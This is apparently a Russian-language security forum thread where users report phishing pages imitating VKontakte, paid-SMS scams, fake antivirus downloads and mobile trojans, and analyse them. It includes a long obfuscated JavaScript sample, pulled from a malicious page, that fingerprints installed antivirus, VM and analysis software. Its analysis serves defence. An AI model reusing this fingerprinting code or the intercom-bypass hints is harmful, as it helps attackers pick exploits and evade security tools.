Взгляните на сайт :)

Еще Вконтакт хттп://freak-vkontakte.net/id3463673457

[QUOTE=senyak;395947]Еще Вконтакт _http://freak-vkontakte.net/id3463673457[/QUOTE]

Сделать бы ссылку не активной. Касперский ругается на Trojan-Downloader.JS.Iframe.atl[URL="http://www.viruslist.com/ru/search?VN=Trojan-Downloader.JS.Iframe.atl"][COLOR=#62707d][/COLOR][/URL]

Забыл :( Кстати, Вас это тоже касается :)

[QUOTE]Вспомните кто нить когда стал аврал со всякими порно-информерами и заблоченными компиками, может это конечно совпадение или просто одни и теже короткие номерапринадлежат нескольким лицам?[/QUOTE]
есть конторы, у которых заключены с операторами договоры. с этими конторами договариваются более мелкие - можете найти в нете много смс-биллингов - это и есть конторы, которые поменьше. С этими конторами уже договариваются - т.е каждый может прийти на их сайт, регнуться и получить себе текст/ы, которые нужно слать на определенные номера, что бы получать с этого деньги. Выгода налицо. А выгода этим мелким конторам - тоже, т.к они получают с этого в 30-50%.
Ситуация примерно такая.
Это для справки.

podarki-vip.t35.com
[QUOTE]Добро пожаловать на сервис подарков ВКонтакте.ру
С помощью этого сайта Вы можете послать любому пользователю ВКонтакте подарок![/QUOTE]
Тырит пароли
---
После ввода логина и пароля просит отправить смс
[QUOTE]Наша услуга платная.Для того чтоб ваш подарок был отправлен,
вам нужно отправить сообщение с текстом
40956 пробел 1292425 на номер 3649 или 1171 (Россия).
40956 пробел 1292425 на номер 9915 (Казахстан).
w47120 на номер 3269 (Украина)
В обратном смс вам прийдёт код. Нажмите кнопку послать, и введите код который вам пришёл по смс. Ваш подарок будет отправлен. Стоимость смс символическая 1 руб или 0.3 грн. Это сделано для того чтоб отличить человек вы или бот программа! [/QUOTE]

:http:loverr-messager.narod.ru/?18361_980161
Такая ссылка пришла в контакте другу (через анонимные признания). В принципе, по доменному имени можно догадаться, что это спам с большой вероятностью, просто интересно проверить, что там по ней. Вдруг вредонос какой.

Кроме баннера milionerov.net и какой то фотки непонятной ничё больше нет...

vkotngte.ru
[QUOTE]Этот сайт ворует пароли от сайта вконтакте.ру! Владельцу сиго творения желаю быть заживо погребённым и сгореть в аду! [/QUOTE]

_ttp://superanti.com/?gclid=CLOCwoO6rJoCFYQI3wodVWVycA
Реклама гугла привела туда...

[QUOTE=bolshoy kot;398915]_ttp://superanti.com/?gclid=CLOCwoO6rJoCFYQI3wodVWVycA
Реклама гугла привела туда...[/QUOTE]
[QUOTE]Хотите скачать антивирус Avast?
Тогда отправьте SMS с текстом <ля-ля-ля> (без пробелов!) [/QUOTE]
Как-то так

[QUOTE=Kuzz;399126]Как-то так[/QUOTE]
Ага:
[quote]
Хотите скачать антивирус Avast?
Тогда отправьте SMS с текстом 85super (без пробелов!)
на номер в зависимости от своей страны
(смотрите ниже номера и страны).
В ответ вы получите сообщение с кодом доступа.
[/quote]
Платный пиратский контент.
И что самое интересное: реклама сайта была на VirusInfo. Я понимаю, что это реклама Гугла, но все же...

[QUOTE=bolshoy kot;399137]
И что самое интересное: реклама сайта была на VirusInfo. Я понимаю, что это реклама Гугла, но все же...[/QUOTE]
По контексту проходит..
А если что не так: [url]http://virusinfo.info/forumdisplay.php?f=28[/url]
Администрация подкорректирует)

[URL="http://virusinfo.info/showthread.php?t=35587"]Тема о нежелательной рекламе[/URL]

key-volga.ru
[QUOTE]Универсальный домофонный мульти ключ – вездеход
Открывает до 90% всех домофонов
Уникальная разработка волгоградских мастеров
«Домофонный мастер ключ»[/QUOTE]
Какой то чувак написал:
[QUOTE]Для первых 100 заказчиков в подарок автоген, фомка и пара черных капроновых чулок! [/QUOTE]

"Универсальный домофонный мульти ключ – вездеход Открывает до 90% всех домофонов" всеже такой есть реально ... но только одного типа замков. Откуда знаю, друг работает монтажником в одном из местных ИСП и по долгу работы постоянно вынужден ходить по подъездам и лазить по крышам, а названивать или просить открыть когонить подъезд где расположен коммутационный узел просто надоедает. Вот и нашли кулибина который им такой ключик сделал.

У нас в стране не так много типов домофонов ставят.
У всех домофонов есть сервисный код для открытия двери без ключа.
По умолчанию - один для всех домофонов данного типа (Визит, Leksomex и т.д.).
Установщики обычно не парятся со сменой кода - им удобнее, когда у всех дверей один код, чем помнить сотни разных.
Сам работал в монтаже этой хрени. Без всяких ключей открываю те-же 90% домофонов в нашем городе.

А если маленько посильнее дёрнуть за дверь то она и так открывается :acute:

[QUOTE=valho;401876]А если маленько посильнее дёрнуть за дверь то она и так открывается :acute:[/QUOTE]
Ога 4000 нютон\метр.
Скорее ручка оторвётся, или дверь погнётся.

У нас в доме так открывают, а сейчас уже смотрю несколько дней дверь вовсе не защёлкивается :)

у нас в доме был известный части жильцов *некий код* которым можно было открыть домофон... но в подъезде регулярно собирались пьянствовать разные компании... + в нашем доме в одном из подъездов вечером ограбили женщину угрожая пистолетом.... этот код благополучно отключили... результат - компании все так же собираются (не в лом позвонить кому-нибудь или зайти за кем-нибудь) а жильцам не удобно.

у нас домофон в квартире сломан... приходится гостей встречать у подъезда.

:http:zelenkovityufi.narod.ru/map.html
Дорвей, только дохлый, большинство сайтов уже нет в помине
---
Видимо всё таки закон сохранения существует. Это насчёт глючных дверей с магнитным замком.
Кто то в лифте у нас уже успел наклеить бумажки
[URL=http://img41.imageshack.us/img41/6783/033l.jpg][IMG]http://img41.imageshack.us/img41/6783/033l.th.jpg[/IMG][/URL]

_http://valentino4ka.co.cc
Что там?

[QUOTE=bolshoy kot;402564]_http://valentino4ka.co.cc
Что там?[/QUOTE]
Бяка :)

[QUOTE]Что там?[/QUOTE]

[B]Trojan-SMS.J2ME.Boxer.i[/B]

microsoft-security.ru
[URL=http://img33.imageshack.us/img33/7350/microsoftsecurityru.png][IMG]http://img33.imageshack.us/img33/7350/microsoftsecurityru.th.png[/IMG][/URL]

valho, и что Вас там удивило? Мне кажется, там сайт компьютерной помощи.

Да так ничего, помойки всякой в интернете слишком много развелось просто...

[QUOTE]Да так ничего, помойки всякой в интернете слишком много развелось просто...[/QUOTE]
регнулись на юкозе. поменяли диз. привязали домен. согласен, что трэш

Единственное но - незаконно используется название Microsoft.

widgeo.net
При загрузке пытается получить доступ к буферу обмена.
Похоже что если разрешить доступ и полазить по сайту в буфер какую нибудь бяку пропишут.
Нашёл по этому только:
[url]http://www.securitylab.ru/news/358290.php[/url]
[url]http://support.microsoft.com/kb/224993/ru[/url]
---
Ссылка на эту странную вещь - mypeopleunlimited.com/mgt/old/creek.php

ugdom.ru
На самом сайте вроде бы чисто, а вот в архивах журнала...
При попытке открыть архивы подгружается Troyan.Click 25525 по классификации DrWeb.
Звонил редактору журнала - обещали принять меры, но пока ничего...

[QUOTE=valho;403415]Ссылка на эту странную вещь - mypeopleunlimited.com/mgt/old/creek.php[/QUOTE]
а вещь интересная, что делает пока еще не выяснил, но похоже собирает инфу о кампе, какой софт стоит, какие антивирусы, ,браузеры плееры и куча всякого софта, вот кусок[CODE] var QmwrmsukbB = new Array(26);
var BxwrUnJUSvZkOQRnBx = "res://c:\\program%20files\\";
var eeYcZfmxOvpnjcHlzYgGirPN=0;
var DvvePofzXKCOGQVdAJyHCh=new Image();
DvvePofzXKCOGQVdAJyHCh.src = BxwrUnJUSvZkOQRnBx + "Avira\\AntiVir PersonalEdition Classic\\avconfig.dll/#2/#129";
if (DvvePofzXKCOGQVdAJyHCh.height != 30)
{
QmwrmsukbB[eeYcZfmxOvpnjcHlzYgGirPN]=1;
}
eeYcZfmxOvpnjcHlzYgGirPN++;
DvvePofzXKCOGQVdAJyHCh.src = BxwrUnJUSvZkOQRnBx + "Alwil Software\\Avast4\\AavmGuih.dll/#2/#132";
if (DvvePofzXKCOGQVdAJyHCh.height != 30)
{
QmwrmsukbB[eeYcZfmxOvpnjcHlzYgGirPN]=1;
}
eeYcZfmxOvpnjcHlzYgGirPN++;
DvvePofzXKCOGQVdAJyHCh.src = BxwrUnJUSvZkOQRnBx + "Antiviral Toolkit Pro\\avp32.exe/#2/#158";
if (DvvePofzXKCOGQVdAJyHCh.height != 30)
{
QmwrmsukbB[eeYcZfmxOvpnjcHlzYgGirPN]=1;
}
eeYcZfmxOvpnjcHlzYgGirPN++;
DvvePofzXKCOGQVdAJyHCh.src = BxwrUnJUSvZkOQRnBx + "Grisoft\\AVG Free\\avgabout.dll/#2/#5110";
if (DvvePofzXKCOGQVdAJyHCh.height != 30)
{
QmwrmsukbB[eeYcZfmxOvpnjcHlzYgGirPN]=1;
}
eeYcZfmxOvpnjcHlzYgGirPN++;
DvvePofzXKCOGQVdAJyHCh.src = BxwrUnJUSvZkOQRnBx + "Grisoft\\AVG7\\avgdiag.exe/#2/#131";
if (DvvePofzXKCOGQVdAJyHCh.height != 30)
{
QmwrmsukbB[eeYcZfmxOvpnjcHlzYgGirPN]=1;
}
eeYcZfmxOvpnjcHlzYgGirPN++;
DvvePofzXKCOGQVdAJyHCh.src = BxwrUnJUSvZkOQRnBx + "AVG\\AVG8\\avgresf.dll/#2/#11500";
if (DvvePofzXKCOGQVdAJyHCh.height != 30)
{
QmwrmsukbB[eeYcZfmxOvpnjcHlzYgGirPN]=1;
}
eeYcZfmxOvpnjcHlzYgGirPN++;
DvvePofzXKCOGQVdAJyHCh.src = BxwrUnJUSvZkOQRnBx + "Softwin\\BitDefender9\\bdsubmit.exe/#2/#132";
if (DvvePofzXKCOGQVdAJyHCh.height != 30)
{
QmwrmsukbB[eeYcZfmxOvpnjcHlzYgGirPN]=1;
}
eeYcZfmxOvpnjcHlzYgGirPN++;
DvvePofzXKCOGQVdAJyHCh.src = BxwrUnJUSvZkOQRnBx + "Softwin\\BitDefender10\\bdsubmit.exe/#2/#132";
if (DvvePofzXKCOGQVdAJyHCh.height != 30)
{
QmwrmsukbB[eeYcZfmxOvpnjcHlzYgGirPN]=1;
}
eeYcZfmxOvpnjcHlzYgGirPN++;
DvvePofzXKCOGQVdAJyHCh.src = BxwrUnJUSvZkOQRnBx + "BitDefender\\BitDefender 2008\\bdsubwiz.exe/#2/#132";
if (DvvePofzXKCOGQVdAJyHCh.height != 30)
{
QmwrmsukbB[eeYcZfmxOvpnjcHlzYgGirPN]=1;
}
eeYcZfmxOvpnjcHlzYgGirPN++;
DvvePofzXKCOGQVdAJyHCh.src = BxwrUnJUSvZkOQRnBx + "CA\\eTrust Internet Security Suite\\eTrust EZ Antivirus\\CAVres.dll/#2/#145";
if (DvvePofzXKCOGQVdAJyHCh.height != 30)
{
QmwrmsukbB[eeYcZfmxOvpnjcHlzYgGirPN]=1;
}
eeYcZfmxOvpnjcHlzYgGirPN++;
DvvePofzXKCOGQVdAJyHCh.src = BxwrUnJUSvZkOQRnBx + "DrWeb\\drweb32w.exe/#2/#105";
if (DvvePofzXKCOGQVdAJyHCh.height != 30)
{
QmwrmsukbB[eeYcZfmxOvpnjcHlzYgGirPN]=1;
}
eeYcZfmxOvpnjcHlzYgGirPN++;
DvvePofzXKCOGQVdAJyHCh.src = BxwrUnJUSvZkOQRnBx + "ESET\\emon.dll/#2/#1";
if (DvvePofzXKCOGQVdAJyHCh.height != 30)
{
QmwrmsukbB[eeYcZfmxOvpnjcHlzYgGirPN]=1;
}
eeYcZfmxOvpnjcHlzYgGirPN++;
DvvePofzXKCOGQVdAJyHCh.src = BxwrUnJUSvZkOQRnBx + "ESET\\ESET Smart Security\\eguiEpfw.dll/#2/#1070";
if (DvvePofzXKCOGQVdAJyHCh.height != 30)
{
QmwrmsukbB[eeYcZfmxOvpnjcHlzYgGirPN]=1;
}
eeYcZfmxOvpnjcHlzYgGirPN++;
DvvePofzXKCOGQVdAJyHCh.src = BxwrUnJUSvZkOQRnBx + "Kaspersky Lab\\Kaspersky Internet Security 7.0\\mcouas.dll/#2/#218";
if (DvvePofzXKCOGQVdAJyHCh.height != 30)
{
QmwrmsukbB[eeYcZfmxOvpnjcHlzYgGirPN]=1;
}
eeYcZfmxOvpnjcHlzYgGirPN++;
DvvePofzXKCOGQVdAJyHCh.src = BxwrUnJUSvZkOQRnBx + "Kaspersky Lab\\Kaspersky Internet Security 2009\\mcouas.dll/#2/#218";
if (DvvePofzXKCOGQVdAJyHCh.height != 30)
{
QmwrmsukbB[eeYcZfmxOvpnjcHlzYgGirPN]=1;
}
eeYcZfmxOvpnjcHlzYgGirPN++;
DvvePofzXKCOGQVdAJyHCh.src = BxwrUnJUSvZkOQRnBx + "Kerio\\Personal Firewall 4\\kpf4gui.exe/#2/#135";
if (DvvePofzXKCOGQVdAJyHCh.height != 30)
{
QmwrmsukbB[eeYcZfmxOvpnjcHlzYgGirPN]=1;
}
eeYcZfmxOvpnjcHlzYgGirPN++;
DvvePofzXKCOGQVdAJyHCh.src = BxwrUnJUSvZkOQRnBx + "Trend Micro\\Internet Security 2006\\PCCVScan.exe/#2/#130";
if (DvvePofzXKCOGQVdAJyHCh.height != 30)
{
QmwrmsukbB[eeYcZfmxOvpnjcHlzYgGirPN]=1;
}
eeYcZfmxOvpnjcHlzYgGirPN++;
DvvePofzXKCOGQVdAJyHCh.src = BxwrUnJUSvZkOQRnBx + "Panda Software\\Panda platinium 2006 Internet Security\\pavsched.exe/#2/#300";
if (DvvePofzXKCOGQVdAJyHCh.height != 30)
{
QmwrmsukbB[eeYcZfmxOvpnjcHlzYgGirPN]=1;
}
eeYcZfmxOvpnjcHlzYgGirPN++;
DvvePofzXKCOGQVdAJyHCh.src = BxwrUnJUSvZkOQRnBx + "F-Secure Internet Security\\FSGUI\\fsavgui.exe/#2/#26567";
if (DvvePofzXKCOGQVdAJyHCh.height != 30)
{
QmwrmsukbB[eeYcZfmxOvpnjcHlzYgGirPN]=1;
}
eeYcZfmxOvpnjcHlzYgGirPN++;
DvvePofzXKCOGQVdAJyHCh.src = BxwrUnJUSvZkOQRnBx + "F-Secure Internet Security\\Anti-Virus\\fstsm.dll/#2/#103";
if (DvvePofzXKCOGQVdAJyHCh.height != 30)
{
QmwrmsukbB[eeYcZfmxOvpnjcHlzYgGirPN]=1;
}
eeYcZfmxOvpnjcHlzYgGirPN++;
DvvePofzXKCOGQVdAJyHCh.src = BxwrUnJUSvZkOQRnBx + "McAfee.com\\Agent\\scres.dll/#2/#200";
if (DvvePofzXKCOGQVdAJyHCh.height != 30)
{
QmwrmsukbB[eeYcZfmxOvpnjcHlzYgGirPN]=1;
}
eeYcZfmxOvpnjcHlzYgGirPN++;
DvvePofzXKCOGQVdAJyHCh.src = BxwrUnJUSvZkOQRnBx + "Network Associates\\VirusScan\\graphics.dll/#2/#200";
if (DvvePofzXKCOGQVdAJyHCh.height != 30)
{
QmwrmsukbB[eeYcZfmxOvpnjcHlzYgGirPN]=1;
}
eeYcZfmxOvpnjcHlzYgGirPN++;
DvvePofzXKCOGQVdAJyHCh.src = BxwrUnJUSvZkOQRnBx + "symantec_client_security\\symantec%20antivirus\\vpc32.exe/#2/#157";
if (DvvePofzXKCOGQVdAJyHCh.height != 30)
{
QmwrmsukbB[eeYcZfmxOvpnjcHlzYgGirPN]=1;
}
eeYcZfmxOvpnjcHlzYgGirPN++;
DvvePofzXKCOGQVdAJyHCh.src = BxwrUnJUSvZkOQRnBx + "Norton Internet Security Professional\\NISABOUT.DLL/#2/#204";
if (DvvePofzXKCOGQVdAJyHCh.height != 30)
{
QmwrmsukbB[eeYcZfmxOvpnjcHlzYgGirPN]=1;
}
eeYcZfmxOvpnjcHlzYgGirPN++;
DvvePofzXKCOGQVdAJyHCh.src = BxwrUnJUSvZkOQRnBx + "Symantec\\Symantec Endpoint Protection\\res\\1036\\DWHWizrdRes.dll/#2/#167";
if (DvvePofzXKCOGQVdAJyHCh.height != 30)
{
QmwrmsukbB[eeYcZfmxOvpnjcHlzYgGirPN]=1;
}
eeYcZfmxOvpnjcHlzYgGirPN++;
DvvePofzXKCOGQVdAJyHCh.src = BxwrUnJUSvZkOQRnBx + "Norton Internet Security\\ACDisp.dll/#2/#107";
if (DvvePofzXKCOGQVdAJyHCh.height != 30)
{
QmwrmsukbB[eeYcZfmxOvpnjcHlzYgGirPN]=1;
}
eeYcZfmxOvpnjcHlzYgGirPN++;
DvvePofzXKCOGQVdAJyHCh.src = BxwrUnJUSvZkOQRnBx + "zone labs\\zonealarm\\zlclient.exe/#2/#102";
if (DvvePofzXKCOGQVdAJyHCh.height != 30)
{
QmwrmsukbB[eeYcZfmxOvpnjcHlzYgGirPN]=1;
}
eeYcZfmxOvpnjcHlzYgGirPN++;
DvvePofzXKCOGQVdAJyHCh.src = BxwrUnJUSvZkOQRnBx + "VMware\\VMware Tools\\VMControlPanel.cpl/#2/#2507";
if (DvvePofzXKCOGQVdAJyHCh.height != 30)
{
QmwrmsukbB[eeYcZfmxOvpnjcHlzYgGirPN]=1;
}
eeYcZfmxOvpnjcHlzYgGirPN++;
DvvePofzXKCOGQVdAJyHCh.src = BxwrUnJUSvZkOQRnBx + "VMware\\VMware Workstation\\vmplayer.exe/#2/#1";
if (DvvePofzXKCOGQVdAJyHCh.height != 30)
{
QmwrmsukbB[eeYcZfmxOvpnjcHlzYgGirPN]=1;
}
eeYcZfmxOvpnjcHlzYgGirPN++;
DvvePofzXKCOGQVdAJyHCh.src = BxwrUnJUSvZkOQRnBx + "VMware\\VMware Workstation\\vmplayer.exe/#2/#28";
if (DvvePofzXKCOGQVdAJyHCh.height != 30)
{
QmwrmsukbB[eeYcZfmxOvpnjcHlzYgGirPN]=1;
}
eeYcZfmxOvpnjcHlzYgGirPN++;
DvvePofzXKCOGQVdAJyHCh.src = BxwrUnJUSvZkOQRnBx + "Wireshark\\uninstall.exe/#2/#110";
if (DvvePofzXKCOGQVdAJyHCh.height != 30)
{
QmwrmsukbB[eeYcZfmxOvpnjcHlzYgGirPN]=1;
}
eeYcZfmxOvpnjcHlzYgGirPN++;
DvvePofzXKCOGQVdAJyHCh.src = BxwrUnJUSvZkOQRnBx + "IDA\\idag.exe/#2/#201";
if (DvvePofzXKCOGQVdAJyHCh.height != 30)
{
QmwrmsukbB[eeYcZfmxOvpnjcHlzYgGirPN]=1;
}
eeYcZfmxOvpnjcHlzYgGirPN++;
DvvePofzXKCOGQVdAJyHCh.src = BxwrUnJUSvZkOQRnBx + "ShadowStor\\ShadowSurfer\\ShadowSurfer.exe/#2/#174";
if (DvvePofzXKCOGQVdAJyHCh.height != 30)
{
QmwrmsukbB[eeYcZfmxOvpnjcHlzYgGirPN]=1;
}
eeYcZfmxOvpnjcHlzYgGirPN++;
DvvePofzXKCOGQVdAJyHCh.src = BxwrUnJUSvZkOQRnBx + "Microsoft Office\\Office\\MSOWC.DLL/#2/#390";
if (DvvePofzXKCOGQVdAJyHCh.height != 30)
{
QmwrmsukbB[eeYcZfmxOvpnjcHlzYgGirPN]=1;
}
eeYcZfmxOvpnjcHlzYgGirPN++;
DvvePofzXKCOGQVdAJyHCh.src = BxwrUnJUSvZkOQRnBx + "Microsoft Office\\OFFICE10\\MSOWC.DLL/#2/#390";
if (DvvePofzXKCOGQVdAJyHCh.height != 30)
{
QmwrmsukbB[eeYcZfmxOvpnjcHlzYgGirPN]=1;
}
eeYcZfmxOvpnjcHlzYgGirPN++;
DvvePofzXKCOGQVdAJyHCh.src = BxwrUnJUSvZkOQRnBx + "Microsoft Office\\OFFICE11\\OMFC.DLL/#2/#30994";
if (DvvePofzXKCOGQVdAJyHCh.height != 30)
{
QmwrmsukbB[eeYcZfmxOvpnjcHlzYgGirPN]=1;
}
eeYcZfmxOvpnjcHlzYgGirPN++;
DvvePofzXKCOGQVdAJyHCh.src = BxwrUnJUSvZkOQRnBx + "Microsoft Office\\Office12\\OFFOWC.DLL#2#390";
if (DvvePofzXKCOGQVdAJyHCh.height != 30)
{
QmwrmsukbB[eeYcZfmxOvpnjcHlzYgGirPN]=1;
}
eeYcZfmxOvpnjcHlzYgGirPN++;
DvvePofzXKCOGQVdAJyHCh.src = BxwrUnJUSvZkOQRnBx + "Microsoft Works\\1033\\Manual\\bookimg.jpg";
if (DvvePofzXKCOGQVdAJyHCh.height != 30)
{
QmwrmsukbB[eeYcZfmxOvpnjcHlzYgGirPN]=1;
}
eeYcZfmxOvpnjcHlzYgGirPN++;
DvvePofzXKCOGQVdAJyHCh.src = BxwrUnJUSvZkOQRnBx + "Mozilla Thunderbird\\chrome\\icons\\default\\addressbookWindow.ico";
if (DvvePofzXKCOGQVdAJyHCh.height != 30)
{
QmwrmsukbB[eeYcZfmxOvpnjcHlzYgGirPN]=1;
}
eeYcZfmxOvpnjcHlzYgGirPN++;
DvvePofzXKCOGQVdAJyHCh.src = BxwrUnJUSvZkOQRnBx + "Opera\\styles\\images\\center.png";
if (DvvePofzXKCOGQVdAJyHCh.height != 30)
{
QmwrmsukbB[eeYcZfmxOvpnjcHlzYgGirPN]=1;
}
eeYcZfmxOvpnjcHlzYgGirPN++;
DvvePofzXKCOGQVdAJyHCh.src = BxwrUnJUSvZkOQRnBx + "VideoLAN\\VLC\\uninstall.exe/#2/#110";
if (DvvePofzXKCOGQVdAJyHCh.height != 30)
{
QmwrmsukbB[eeYcZfmxOvpnjcHlzYgGirPN]=1;
}
eeYcZfmxOvpnjcHlzYgGirPN++;
DvvePofzXKCOGQVdAJyHCh.src = BxwrUnJUSvZkOQRnBx + "winamp\\winamp.exe/#2/#109";
if (DvvePofzXKCOGQVdAJyHCh.height != 30)
{
QmwrmsukbB[eeYcZfmxOvpnjcHlzYgGirPN]=1;
}
eeYcZfmxOvpnjcHlzYgGirPN++;
DvvePofzXKCOGQVdAJyHCh.src = BxwrUnJUSvZkOQRnBx + "RealVNC\\VNC4\\vncviewer.exe/#2/#120";
if (DvvePofzXKCOGQVdAJyHCh.height != 30)
{
QmwrmsukbB[eeYcZfmxOvpnjcHlzYgGirPN]=1;
}
eeYcZfmxOvpnjcHlzYgGirPN++;
DvvePofzXKCOGQVdAJyHCh.src = BxwrUnJUSvZkOQRnBx + "Messenger\\msmsgs.exe/#2/#607";
if (DvvePofzXKCOGQVdAJyHCh.height != 30)
{
QmwrmsukbB[eeYcZfmxOvpnjcHlzYgGirPN]=1;
}
eeYcZfmxOvpnjcHlzYgGirPN++;
DvvePofzXKCOGQVdAJyHCh.src = BxwrUnJUSvZkOQRnBx + "Yahoo!\\Messenger\\YPagerChecker.dll/#2/#102";
[/CODE]
одно не понятно, как JS получает доступ к файлам кампа???
на выходных попробую разобратся.

вобщем так и есть, скрипт собирает информацию об установленных плагинах браузера и софте, самым болтливым оказался IE
скорее всего служит для динамического подбора эксплоита под установленное ПО.

_http://vero4ka.co.cc

Посмотрите на этот сайт kpyto.net.ru, знакомый говорит у него касперский сдулся на нём, мой БитДефендер сообщил о загрузке активного содержимого, я его заблокировал, и ничего подозрительного не увидел.

_http://vero4ka.co.cc что же там?

[size="1"][color="#666686"][B][I]Добавлено через 1 час 7 минут[/I][/B][/color][/size]

Там JAVA-программа, видать мобильный троян. Интересно, кто нибудь догадается, что его надо в телефон загружать?

[B]bolshoy kot[/B], ммм... нет...
совершенно не факт, что это для мобильника ;)
Скачал посмотрел, внутри порно картинка и много файлов *.class + один .dat

[QUOTE=bolshoy kot;402564]_http://valentino4ka.co.cc
Что там?[/QUOTE]
[QUOTE=Гриша;402584][B]Trojan-SMS.J2ME.Boxer.i[/B][/QUOTE]
[QUOTE=bolshoy kot;406883]_http://vero4ka.co.cc[/QUOTE]
[QUOTE=bolshoy kot;407332]
Там JAVA-программа, видать мобильный троян. Интересно, кто нибудь догадается, что его надо в телефон загружать?[/QUOTE]

Закономерность (в имени доменов) прослеживается? ;)

_http://jwtdigital.reali-tech.com/innovate/013/
В чем суть "развода"?

Какое то предложение по халявным звонкам через 013, а что это значит.......:)

valho, да насчет халявных звонков через 013 понятно, а вот чем "халява" может обернутся - нет...